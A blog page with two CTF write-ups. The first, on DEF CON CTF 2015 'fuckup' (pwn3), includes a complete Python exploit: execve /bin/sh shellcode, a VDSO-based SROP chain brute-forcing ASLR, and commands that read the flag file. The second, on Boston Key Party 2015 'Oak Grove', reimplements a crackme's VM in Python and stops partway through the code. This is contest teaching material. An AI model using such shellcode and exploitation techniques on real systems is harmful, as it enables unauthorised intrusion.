-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
205 lines (134 loc) · 49.8 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>binja</title>
<meta name="author" content="binja">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta property="og:site_name" content="binja"/>
<meta property="og:image" content=""/>
<link href="/favicon.png" rel="icon">
<link rel="alternate" href="/atom.xml" title="binja" type="application/atom+xml">
<link rel="stylesheet" href="/css/style.css" media="screen" type="text/css">
<!--[if lt IE 9]><script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
</head>
<body>
<header id="header" class="inner"><div class="alignleft">
<h1><a href="/">binja</a></h1>
<h2><a href="/"></a></h2>
</div>
<nav id="main-nav" class="alignright">
<ul>
<li><a href="/">Home</a></li>
<li><a href="/archives">Archives</a></li>
</ul>
<div class="clearfix"></div>
</nav>
<div class="clearfix"></div>
</header>
<div id="content" class="inner">
<div id="main-col" class="alignleft"><div id="wrapper">
<article class="post">
<div class="post-content">
<header>
<div class="icon"></div>
<time datetime="2015-05-19T13:14:08.000Z"><a href="/2015/05/19/defconctf2015-fuckup-writeup/">2015-05-19</a></time>
<h1 class="title"><a href="/2015/05/19/defconctf2015-fuckup-writeup/">DEF CON CTF 2015 - fuckup (pwn3) Writeup</a></h1>
</header>
<div class="entry">
<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me:2000<br>OR<br>fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me:46387<br><a href="http://downloads.notmalware.ru/fuckup_56f604b0ea918206dcb332339a819344" target="_blank" rel="external">Download</a></p>
</blockquote>
<h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>This is a PoC service for the new and improved ASLR, “Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization”(F.U.C.K.U.P. for short).<br>Each time a user executes a command, F.U.C.K.U.P. changes the base address of memory where the binary is mapped according to a random number produced by the generation algorithm similar to WELL512.</p>
<p>We can select from the following commands:</p>
<ol>
<li>Quit: simply <code>return 0;</code>.</li>
<li>Display info: Display an introduction. Nothing interesting.</li>
<li>Change random: Generate a random value and move mappings correspondingly.</li>
<li>View state info: Show the current random value and then change the value as same as “Change random”.</li>
<li>Test stack smash: Cause stack based buffer overflow by 100 bytes against a 10-byte buffer.</li>
</ol>
<p>Actually, I don’t know the detailed implementations of these commands except for “Test stack smash”, for it was not I but another team member who coped with this challenge at first.<br>It seems that the author’s intended solution is to use SMT solver like z3 to predict random values generated, and my teammate attempted to do that.<br>It, however, didn’t work correctly since we were unfamiliar with and poor at using SMT solver.<br>So I decided to try to solve this problem by the really “pwnwise” solution.</p>
<p>First, I suspected Partial Overwrite could be used.<br>Yes, actually it can be.<br>Reading <code>stack_smash(sub_8048521)</code>, there is called <code>read_n(sub_8048363)</code> which simply receives input as this:<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sum = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span> {</span><br><span class="line"> nread = read(<span class="number">0</span>, addr, n-sum);</span><br><span class="line"> <span class="keyword">if</span> (nread != <span class="number">-1</span>) sum += nread;</span><br><span class="line">} <span class="keyword">while</span> (sum < n);</span><br></pre></td></tr></table></figure></p>
<p>As you may see, this implementation is weird because using <code>read(0, addr, n-sum)</code> instead of <code>read(0, addr+sum, n-sum)</code>.<br>Therefore, it is possible to do Partial Overwrite by splitting input into several.<br><a href="https://twitter.com/wapiflapi/" target="_blank" rel="external">@wapiflapi</a>, a great hacker in France shares the exploit using this method(<a href="http://hastebin.com/iyinepaxen.py" target="_blank" rel="external">http://hastebin.com/iyinepaxen.py</a>).<br>Very simple, isn’t it?</p>
<p>BUT I COULD NOT COME UP WITH IT.<br>Because I misread <code>read_n</code> as <code>read(0, addr+sum, n-sum)</code>.<br>So at that time I thought “Wow, nice security. I have no choice but to overwrite a buffer completely by 100 bytes. If I can’t use Partial Overwrite, then how can I solve this…?”. Too stupid.<br>Okay, let me explain how I solved this problem even though I couldn’t use z3 and Partial Overwrite.</p>
<h2 id="Solution"><a href="#Solution" class="headerlink" title="Solution"></a>Solution</h2><p>Thinking that the return address is always overwritten by a buffer overflow, I had to overwrite it with some valid address.<br>Here, valid address means a address being mapped and executable.<br>So there are two possible ways to exploit the binary:</p>
<ol>
<li>Fix valid addresses somehow.</li>
<li>Use the addresses which are always fixed.</li>
</ol>
<p>I thought the former could be realized because the number of mapped addresses goes on increasing by <code>change_mapping(sub_80481A6)</code>.<br>In change_mapping, <code>mmap</code> is called like this:<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">{</span><br><span class="line"> seedf = randf(state) * <span class="number">4294967295.0</span>;</span><br><span class="line"> seedl = (<span class="keyword">int</span>)seedf;</span><br><span class="line"> expect = (<span class="keyword">void</span> *)(seedl & <span class="number">0xFFFFF000</span>);</span><br><span class="line"> actual = mmap(expect, <span class="number">0x7000</span>, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line">} <span class="keyword">while</span> (expect != actual);</span><br></pre></td></tr></table></figure></p>
<p>As you can see, the mapped addresses won’t be unmapped even if it fails to establish mappings at expected addresses.<br>Therefore, the more the number of mapped addresses has increased, the less the number of the possible addresses capable of being becomes.<br>But this approach isn’t realistic because it needs to do “Change random” many times(about thouthands or hundreds of thouthands times).</p>
<p>The latter, actually, can be realized: using VDSO.<br>I think everyone knows this, but VDSO ASLR is weaker than ASLR on the other sections(that entropy is usually only 2 bytes) and there is a famous exploit method, Sigreturn Oriented Programming(SROP).<br>That means we can solve this problem by doing brute force 256 times.<br>It was a little bit difficult for me to write the exploit due to the limitation that I had to do ROP only with gadgets on VDSO and that I was allowed to use only 78 bytes for ROP.<br>Why <code>stack_addr = vdso - 0x800</code> does work correctly is described in <a href="http://www.npca.jp/works/magazine/2015_1/" target="_blank" rel="external">my paper</a>.<br>sysenter is a good gadget for stack pivotting!</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack, unpack</span><br><span class="line"><span class="keyword">from</span> Frame <span class="keyword">import</span> SigreturnFrame</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"><span class="keyword">from</span> sys <span class="keyword">import</span> argv</span><br><span class="line"></span><br><span class="line">TARGET = (<span class="string">'localhost'</span>, <span class="number">6666</span>)</span><br><span class="line"><span class="keyword">if</span> len(argv) > <span class="number">1</span>:</span><br><span class="line"> TARGET = (<span class="string">'fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me'</span>, <span class="number">2000</span>)</span><br><span class="line"></span><br><span class="line">OFFSET_SR = <span class="number">0x401</span></span><br><span class="line">OFFSET_SC = <span class="number">0x42e</span></span><br><span class="line">OFFSET_SY = <span class="number">0x425</span></span><br><span class="line">OFFSET_POP = <span class="number">0x431</span></span><br><span class="line">SHELLCODE = <span class="string">"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x54\x59\x50\x5a\x6a\x0b\x58\xcd\x80"</span></span><br><span class="line"></span><br><span class="line">RANGE_VDSO = range(<span class="number">0xf7700000</span>, <span class="number">0xf7800000</span>, <span class="number">0x1000</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">recv_until</span><span class="params">(sock, pat)</span>:</span></span><br><span class="line"> buf = <span class="string">b''</span></span><br><span class="line"> <span class="keyword">while</span> buf.find(pat) == <span class="number">-1</span>:</span><br><span class="line"> buf += sock.recv(<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">return</span> buf</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"> sock.connect(TARGET)</span><br><span class="line"></span><br><span class="line"> vdso = random.choice(RANGE_VDSO)</span><br><span class="line"> stack_addr = vdso - <span class="number">0x800</span></span><br><span class="line"> shellcode_addr = vdso - <span class="number">0x1000</span></span><br><span class="line"> <span class="keyword">print</span> <span class="string">"vdso:"</span>, hex(vdso)</span><br><span class="line"></span><br><span class="line"> data = <span class="string">b'\x00'</span> * (<span class="number">0x16</span>)</span><br><span class="line"> data += pack(<span class="string">'<I'</span>, vdso + OFFSET_POP) <span class="comment"># pop edx, ecx</span></span><br><span class="line"> data += pack(<span class="string">"<I"</span>, <span class="number">2304</span>) <span class="comment"># edx</span></span><br><span class="line"> data += pack(<span class="string">"<I"</span>, shellcode_addr) <span class="comment"># ecx</span></span><br><span class="line"></span><br><span class="line"> data += pack(<span class="string">'<I'</span>, vdso + OFFSET_SC) <span class="comment"># read(eax=3)</span></span><br><span class="line"> data += pack(<span class="string">"<I"</span>, stack_addr)</span><br><span class="line"> data += pack(<span class="string">"<I"</span>, stack_addr)</span><br><span class="line"> data += pack(<span class="string">"<I"</span>, stack_addr)</span><br><span class="line"></span><br><span class="line"> data += pack(<span class="string">'<I'</span>, vdso + OFFSET_SY) <span class="comment"># sysenter </span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">print</span> <span class="string">"data:"</span>, len(data)</span><br><span class="line"> data = data.ljust(<span class="number">100</span>, <span class="string">'A'</span>)</span><br><span class="line"> <span class="keyword">assert</span>(len(data) == <span class="number">100</span>)</span><br><span class="line"></span><br><span class="line"> recv_until(sock, <span class="string">b'0. Quit'</span>)</span><br><span class="line"> sock.sendall(<span class="string">b'4\n'</span>)</span><br><span class="line"> recv_until(sock, <span class="string">b'stop code execution'</span>)</span><br><span class="line"></span><br><span class="line"> sock.sendall(data[:<span class="number">-3</span>])</span><br><span class="line"> sock.sendall(<span class="string">""</span>)</span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"> sock.sendall(data[<span class="number">-3</span>:]) <span class="comment"># eax = 3</span></span><br><span class="line"></span><br><span class="line"> stack = <span class="string">""</span></span><br><span class="line"> stack += pack(<span class="string">"<I"</span>, <span class="number">0xdeadbeef</span>) * <span class="number">3</span></span><br><span class="line"> stack += pack(<span class="string">"<I"</span>, vdso + OFFSET_SR)</span><br><span class="line"></span><br><span class="line"> frame = SigreturnFrame(arch=<span class="string">"x86"</span>)</span><br><span class="line"> frame.set_regvalue(<span class="string">"eax"</span>, <span class="number">0x7d</span>) <span class="comment"># mprotect</span></span><br><span class="line"> frame.set_regvalue(<span class="string">"ebx"</span>, shellcode_addr) <span class="comment"># addr</span></span><br><span class="line"> frame.set_regvalue(<span class="string">"ecx"</span>, <span class="number">0x1000</span>) <span class="comment"># len</span></span><br><span class="line"> frame.set_regvalue(<span class="string">"edx"</span>, <span class="number">7</span>) <span class="comment"># prot</span></span><br><span class="line"> frame.set_regvalue(<span class="string">"eip"</span>, vdso + OFFSET_SC)</span><br><span class="line"> frame.set_regvalue(<span class="string">"esp"</span>, stack_addr+<span class="number">0x80</span>)</span><br><span class="line"> frame.set_regvalue(<span class="string">"ds"</span>, <span class="number">0x2b</span>)</span><br><span class="line"> frame.set_regvalue(<span class="string">"es"</span>, <span class="number">0x2b</span>)</span><br><span class="line"></span><br><span class="line"> stack += frame.get_frame()</span><br><span class="line"> stack += pack(<span class="string">"<I"</span>, shellcode_addr) * <span class="number">40</span></span><br><span class="line"> </span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> payload = SHELLCODE</span><br><span class="line"> payload = payload.ljust(<span class="number">0x800</span>, <span class="string">"\x90"</span>)</span><br><span class="line"> payload += stack</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"payload:"</span>, len(payload)</span><br><span class="line"> <span class="keyword">assert</span>(len(payload) <= <span class="number">0x1000</span>)</span><br><span class="line"></span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"> sock.sendall(payload)</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line"> sock.sendall(<span class="string">"ls\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"ls /home\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"ls /home/fuckup\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"ls /home/fuckup/flag\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"ls /home/fuckup/*flag*\n"</span>)</span><br><span class="line"> sock.sendall(<span class="string">"cat /home/fuckup/*flag*\n"</span>)</span><br><span class="line"></span><br><span class="line"> sleep(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> resp = <span class="string">""</span></span><br><span class="line"> resp += sock.recv(<span class="number">65535</span>)</span><br><span class="line"> <span class="keyword">if</span> resp == <span class="string">''</span> <span class="keyword">or</span> resp == <span class="string">'\n'</span>:</span><br><span class="line"> <span class="keyword">raise</span> Exception(<span class="string">"Failed"</span>)</span><br><span class="line"> <span class="keyword">print</span> [resp]</span><br><span class="line"> raw_input()</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> i = <span class="number">1</span></span><br><span class="line"> <span class="keyword">while</span> <span class="keyword">True</span>:</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"\nTry {}:"</span>.format(i)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> main()</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="keyword">print</span> e</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"> i += <span class="number">1</span></span><br></pre></td></tr></table></figure>
<p>Using <a href="https://github.com/eQu1NoX/srop-poc/blob/master/Frame.py" target="_blank" rel="external">Frame.py</a>.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">['\nbin\nboot\ndev\netc\nhome\ninitrd.img\ninitrd.img.old\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\nvmlinuz\nvmlinuz.old\nfuckup\nubuntu\nflag\nfuckup\n/home/fuckup/flag\n/home/fuckup/flag\nThe flag is: z3 always helps\n']</span><br></pre></td></tr></table></figure>
<p>##Summary</p>
<p>Sleep enough not to misread disas.</p>
<p>written by hugeh0ge(<a href="https://twitter.com/hugeh0ge" target="_blank" rel="external">@hugeh0ge</a>)</p>
</div>
<footer>
<div class="clearfix"></div>
</footer>
</div>
</article>
<article class="post">
<div class="post-content">
<header>
<div class="icon"></div>
<time datetime="2015-03-02T12:54:08.000Z"><a href="/2015/03/02/bkpctf2015-oakgrove-writeup/">2015-03-02</a></time>
<h1 class="title"><a href="/2015/03/02/bkpctf2015-oakgrove-writeup/">Boston Key Party CTF 2015 - Oak Grove (rev300) Writeup</a></h1>
</header>
<div class="entry">
<blockquote>
<p>This crappy 3ds homebrew is protected by some anti-piracy scheme. Can you crack it? : 300<br><a href="http://bostonkeyparty.net/3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD" target="_blank" rel="external">http://bostonkeyparty.net/3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD</a></p>
</blockquote>
<p>The binary is a 3DS homebrew for NINJHAX and is in 3DSX format. After several minutes of googling, we found out that there is no IDA Loader for 3DSX at the moment of BKP. We wrote simple IDA Loader for 3DSX and analyzed the binary using IDA. (We don’t publish the loader because another player published a better one after the BKP :) <a href="https://github.com/0xEBFE/3DSX-IDA-PRO-Loader" target="_blank" rel="external">https://github.com/0xEBFE/3DSX-IDA-PRO-Loader</a>)</p>
<p>The homebrew is obfuscated by the virtual machine. This virtual machine is slightly buggy (missing break in a switch case, pop on an empty stack). Manual analysis found that the VM code reads 16 bytes from a file ‘SHiT’ and compares the contents char by char with embedded values. The VM code increments a counter (dword_33BC0) as characters match the embedded values. If the counter is 100 at the end of VM code, the homebrew outputs ‘Winner, please submit your flag!’.</p>
<p>As reverse-engineering of the whole obfuscated VM code seemed to be troublesome and easy to mistake, we implemented the same virtual machine in Python and did bruteforce for SHiT.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">FLAGLEN = <span class="number">16</span></span><br><span class="line">CHARS = bytes(string.printable, <span class="string">'ascii'</span>)</span><br><span class="line">CODE = <span class="string">b''</span></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD'</span>, <span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.seek(<span class="number">0x2abd4</span>)</span><br><span class="line"> CODE = f.read(<span class="number">0x1d0</span>)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">VirtualMachine</span><span class="params">(object)</span>:</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, code, flag)</span>:</span></span><br><span class="line"> self.dword_33BC0 = self.R7 = self.ip = <span class="number">0</span></span><br><span class="line"> self.stack = []</span><br><span class="line"> self.flag = flag</span><br><span class="line"> self.code = code</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">getb</span><span class="params">(self)</span>:</span></span><br><span class="line"> val = self.code[self.ip]</span><br><span class="line"> self.ip += <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> val</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">jmp</span><span class="params">(self, n)</span>:</span></span><br><span class="line"> self.ip += n</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">push</span><span class="params">(self, val)</span>:</span></span><br><span class="line"> self.stack.append(val)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">pop</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">return</span> self.stack.pop()</span><br><span class="line"> <span class="keyword">except</span> IndexError:</span><br><span class="line"> self.log(<span class="string">'empty pop'</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">log</span><span class="params">(self, msg)</span>:</span></span><br><span class="line"> <span class="comment">#print('[*] %04x: %s' % (self.ip, msg), file=sys.stderr)</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst11</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> <span class="keyword">if</span> self.R7 == <span class="number">0</span>:</span><br><span class="line"> self.jmp(arg1)</span><br><span class="line"> self.inst57()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst57</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> self.push((self.pop() ^ arg1) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst48</span><span class="params">(self)</span>:</span></span><br><span class="line"> filename = <span class="string">''</span></span><br><span class="line"> ch = <span class="number">-1</span></span><br><span class="line"> <span class="keyword">while</span> ch != <span class="number">0</span>:</span><br><span class="line"> ch = self.pop()</span><br><span class="line"> filename += chr(ch)</span><br><span class="line"> self.log(<span class="string">'fopen("%s", "r")'</span> % filename)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst51</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.log(<span class="string">'exit(0)'</span>)</span><br><span class="line"> <span class="keyword">raise</span> Exception(<span class="string">'exit'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst17</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.pop()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst40</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.log(<span class="string">'getchar()'</span>)</span><br><span class="line"> self.push(self.flag.pop())</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst0</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.log(<span class="string">'unk_0'</span>)</span><br><span class="line"> <span class="comment"># Not Implemented</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst52</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> self.push((self.pop() - arg1) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst49</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> self.push(arg1)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst27</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst20</span><span 